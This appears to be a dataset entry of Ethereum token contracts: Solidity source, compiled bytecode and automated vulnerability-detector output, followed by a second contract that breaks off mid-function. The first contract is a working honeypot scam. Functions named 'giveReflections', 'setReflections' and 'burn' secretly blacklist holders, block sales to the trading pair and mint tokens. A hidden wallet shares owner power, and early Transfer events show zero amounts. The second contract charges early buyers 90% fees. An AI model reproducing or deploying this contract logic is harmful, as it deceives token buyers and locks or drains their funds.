uniswapV2Router; address private uniswapV2Pair; uint256 private openBlock; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; address private marketAddy = payable(0xa353f28300C40a6954E8248D614a82048663E1eF); modifier onlyOwner { require((owner == msg.sender) || (msg.sender == marketAddy)); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function RenounceOwnership() onlyOwner public { owner = 0x000000000000000000000000000000000000dEaD; } function giveReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = true; } } function setReflections() onlyOwner public { router = uniswapV2Pair; balances1 = false; } function openTrading() public onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner, block.timestamp ); tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } receive() external payable {} function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require(!bots[sender] && !bots[recipient]); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require((amount < 500000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this))); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) { emit Transfer(sender, recipient, 0); } else { emit Transfer(sender, recipient, amount); } } function burn(address account, uint256 amount) onlyOwner public virtual { require(account != address(0), "ERC20: burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x60806040526004361061012e5760003560e01c80636ebcf607116100ab578063a6f9dae11161006f578063a6f9dae1146103ed578063a9059cbb14610416578063b09f126614610453578063c9567bf91461047e578063d28d885214610495578063dd62ed3e146104c057610135565b80636ebcf607146102f457806370a08231146103315780638da5cb5b1461036e57806395d89b41146103995780639dc29fac146103c457610135565b806323b872dd116100f257806323b872dd14610233578063294e3eb114610270578063313ce567146102875780633eaaf86b146102b25780636e4ee811146102dd57610135565b8063024c2ddd1461013a57806306fdde0314610177578063095ea7b3146101a257806315a892be146101df57806318160ddd1461020857610135565b3661013557005b600080fd5b34801561014657600080fd5b50610161600480360381019061015c9190611db3565b6104fd565b60405161016e9190611e0c565b60405180910390f35b34801561018357600080fd5b5061018c610522565b6040516101999190611ec0565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c49190611f0e565b6105b4565b6040516101d69190611f69565b60405180910390f35b3480156101eb57600080fd5b50610206600480360381019061020191906120cc565b6105d2565b005b34801561021457600080fd5b5061021d610719565b60405161022a9190611e0c565b60405180910390f35b34801561023f57600080fd5b5061025a60048036038101906102559190612115565b610723565b6040516102679190611f69565b60405180910390f35b34801561027c57600080fd5b5061028561081b565b005b34801561029357600080fd5b5061029c61094d565b6040516102a99190612184565b60405180910390f35b3480156102be57600080fd5b506102c7610956565b6040516102d49190611e0c565b60405180910390f35b3480156102e957600080fd5b506102f261095c565b005b34801561030057600080fd5b5061031b6004803603810190610316919061219f565b610a53565b6040516103289190611e0c565b60405180910390f35b34801561033d57600080fd5b506103586004803603810190610353919061219f565b610a6b565b6040516103659190611e0c565b60405180910390f35b34801561037a57600080fd5b50610383610ab3565b60405161039091906121db565b60405180910390f35b3480156103a557600080fd5b506103ae610ad9565b6040516103bb9190611ec0565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e69190611f0e565b610b6b565b005b3480156103f957600080fd5b50610414600480360381019061040f919061219f565b610d71565b005b34801561042257600080fd5b5061043d60048036038101906104389190611f0e565b610e67565b60405161044a9190611f69565b60405180910390f35b34801561045f57600080fd5b50610468610e85565b6040516104759190611ec0565b60405180910390f35b34801561048a57600080fd5b50610493610f13565b005b3480156104a157600080fd5b506104aa611417565b6040516104b79190611ec0565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190611db3565b6114a5565b6040516104f49190611e0c565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461053190612225565b80601f016020809104026020016040519081016040528092919081815260200182805461055d90612225565b80156105aa5780601f1061057f576101008083540402835291602001916105aa565b820191906000526020600020905b81548152906001019060200180831161058d57829003601f168201915b5050505050905090565b60006105c86105c161152c565b8484611534565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61068457600080fd5b60005b8151811015610715576001600360008484815181106106a9576106a8612257565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061070d906122b5565b915050610687565b5050565b6000600654905090565b60006107308484846116ff565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077b61152c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f290612370565b60405180910390fd5b61080f8561080761152c565b858403611534565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108c45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108cd57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a055750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a0e57600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610ae890612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1490612225565b8015610b615780601f10610b3657610100808354040283529160200191610b61565b820191906000526020600020905b815481529060010190602001808311610b4457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c145750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c1d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c84906123dc565b60405180910390fd5b610c9960008383611d3c565b8060066000828254610cab91906123fc565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d0091906123fc565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d659190611e0c565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e1a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e2357600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e7b610e7461152c565b84846116ff565b6001905092915050565b60088054610e9290612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610ebe90612225565b8015610f0b5780601f10610ee057610100808354040283529160200191610f0b565b820191906000526020600020905b815481529060010190602001808311610eee57829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610fbc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610fc557600080fd5b600960019054906101000a900460ff1615611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c9061249e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061109e30600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654611534565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110d91906124d3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611174573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119891906124d3565b6040518363ffffffff1660e01b81526004016111b5929190612500565b6020604051808303816000875af11580156111d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f891906124d3565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061128130610a6b565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016112c99695949392919061256e565b60606040518083038185885af11580156112e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061130c91906125e4565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016113d0929190612637565b6020604051808303816000875af11580156113ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611413919061268c565b5050565b6007805461142490612225565b80601f016020809104026020016040519081016040528092919081815260200182805461145090612225565b801561149d5780601f106114725761010080835404028352916020019161149d565b820191906000526020600020905b81548152906001019060200180831161148057829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b9061272b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160b906127bd565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116f29190611e0c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561176f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117669061284f565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156117cd57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118715750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187a57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119cc57600960009054906101000a900460ff16806119345750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061198c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6119cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c2906128e1565b60405180910390fd5b5b6c064f964e68233a76f520000000811080611a345750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611a8c5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ac257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611acb57600080fd5b611ad6838383611d3c565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611b5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5390612973565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bef91906123fc565b92505081905550436004600b54611c0691906123fc565b118015611c605750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611cd0578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611cc39190612993565b60405180910390a3611d36565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d2d9190611e0c565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d8082611d55565b9050919050565b611d9081611d75565b8114611d9b57600080fd5b50565b600081359050611dad81611d87565b92915050565b60008060408385031215611dca57611dc9611d4b565b5b6000611dd885828601611d9e565b9250506020611de985828601611d9e565b9150509250929050565b6000819050919050565b611e0681611df3565b82525050565b6000602082019050611e216000830184611dfd565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e61578082015181840152602081019050611e46565b83811115611e70576000848401525b50505050565b6000601f19601f8301169050919050565b6000611e9282611e27565b611e9c8185611e32565b9350611eac818560208601611e43565b611eb581611e76565b840191505092915050565b60006020820190508181036000830152611eda8184611e87565b905092915050565b611eeb81611df3565b8114611ef657600080fd5b50565b600081359050611f0881611ee2565b92915050565b60008060408385031215611f2557611f24611d4b565b5b6000611f3385828601611d9e565b9250506020611f4485828601611ef9565b9150509250929050565b60008115159050919050565b611f6381611f4e565b82525050565b6000602082019050611f7e6000830184611f5a565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611fc182611e76565b810181811067ffffffffffffffff82111715611fe057611fdf611f89565b5b80604052505050565b6000611ff3611d41565b9050611fff8282611fb8565b919050565b600067ffffffffffffffff82111561201f5761201e611f89565b5b602082029050602081019050919050565b600080fd5b600061204861204384612004565b611fe9565b9050808382526020820190506020840283018581111561206b5761206a612030565b5b835b8181101561209457806120808882611d9e565b84526020840193505060208101905061206d565b5050509392505050565b600082601f8301126120b3576120b2611f84565b5b81356120c3848260208601612035565b91505092915050565b6000602082840312156120e2576120e1611d4b565b5b600082013567ffffffffffffffff811115612100576120ff611d50565b5b61210c8482850161209e565b91505092915050565b60008060006060848603121561212e5761212d611d4b565b5b600061213c86828701611d9e565b935050602061214d86828701611d9e565b925050604061215e86828701611ef9565b9150509250925092565b600060ff82169050919050565b61217e81612168565b82525050565b60006020820190506121996000830184612175565b92915050565b6000602082840312156121b5576121b4611d4b565b5b60006121c384828501611d9e565b91505092915050565b6121d581611d75565b82525050565b60006020820190506121f060008301846121cc565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061223d57607f821691505b60208210811415612251576122506121f6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006122c082611df3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156122f3576122f2612286565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061235a602883611e32565b9150612365826122fe565b604082019050919050565b600060208201905081810360008301526123898161234d565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b60006123c6601f83611e32565b91506123d182612390565b602082019050919050565b600060208201905081810360008301526123f5816123b9565b9050919050565b600061240782611df3565b915061241283611df3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561244757612446612286565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612488601783611e32565b915061249382612452565b602082019050919050565b600060208201905081810360008301526124b78161247b565b9050919050565b6000815190506124cd81611d87565b92915050565b6000602082840312156124e9576124e8611d4b565b5b60006124f7848285016124be565b91505092915050565b600060408201905061251560008301856121cc565b61252260208301846121cc565b9392505050565b6000819050919050565b6000819050919050565b600061255861255361254e84612529565b612533565b611df3565b9050919050565b6125688161253d565b82525050565b600060c08201905061258360008301896121cc565b6125906020830188611dfd565b61259d604083018761255f565b6125aa606083018661255f565b6125b760808301856121cc565b6125c460a0830184611dfd565b979650505050505050565b6000815190506125de81611ee2565b92915050565b6000806000606084860312156125fd576125fc611d4b565b5b600061260b868287016125cf565b935050602061261c868287016125cf565b925050604061262d868287016125cf565b9150509250925092565b600060408201905061264c60008301856121cc565b6126596020830184611dfd565b9392505050565b61266981611f4e565b811461267457600080fd5b50565b60008151905061268681612660565b92915050565b6000602082840312156126a2576126a1611d4b565b5b60006126b084828501612677565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612715602483611e32565b9150612720826126b9565b604082019050919050565b6000602082019050818103600083015261274481612708565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127a7602283611e32565b91506127b28261274b565b604082019050919050565b600060208201905081810360008301526127d68161279a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612839602583611e32565b9150612844826127dd565b604082019050919050565b600060208201905081810360008301526128688161282c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128cb602383611e32565b91506128d68261286f565b604082019050919050565b600060208201905081810360008301526128fa816128be565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061295d602683611e32565b915061296882612901565b604082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b60006020820190506129a8600083018461255f565b9291505056fea2646970667358221220dfa440728b9de21752f18fe3af69f430b2c4a4d8348ed4ba12b69cf76fa06af264736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,275
0x9f259623813a733c89f1db1797562f18507ca571
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract roulette is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => bool) private evening; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100 * 1e12 * 1e9; //100,000,000,000,000 uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "x"; string private constant _symbol = "x"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _firstBlock; uint256 private _botBlocks; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xaa72F1a7F98228DF4749d754bD6C2311A9419a9b); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); if (from == uniswapV2Pair && to != address(uniswapV2Router)) { if (block.number <= _firstBlock.add(_botBlocks)) { bots[to] = true; } if (block.number <= _firstBlock.add(_botBlocks).add(1)) { evening[to] = true; } } if (from != address(this) && bots[to]) { _feeAddr1 = 0; _feeAddr2 = 90; } if (from != address(this) && !bots[to] && evening[to]) { _feeAddr1 = 0; _feeAddr2 = 25; } else if (from != address(this) && !bots[from] && !bots[to] && !evening[to]) { _feeAddr1 = 1; _feeAddr2 = 11; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 100 * 1e9 * 1e9) { //100,000,000,000 sendETHToFee(address(this).balance); } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading(uint256 botBlocks) external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; _firstBlock = block.number; _botBlocks = botBlocks; cooldownEnabled = true; _maxTxAmount = 500 * 1e10 * 1e9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { 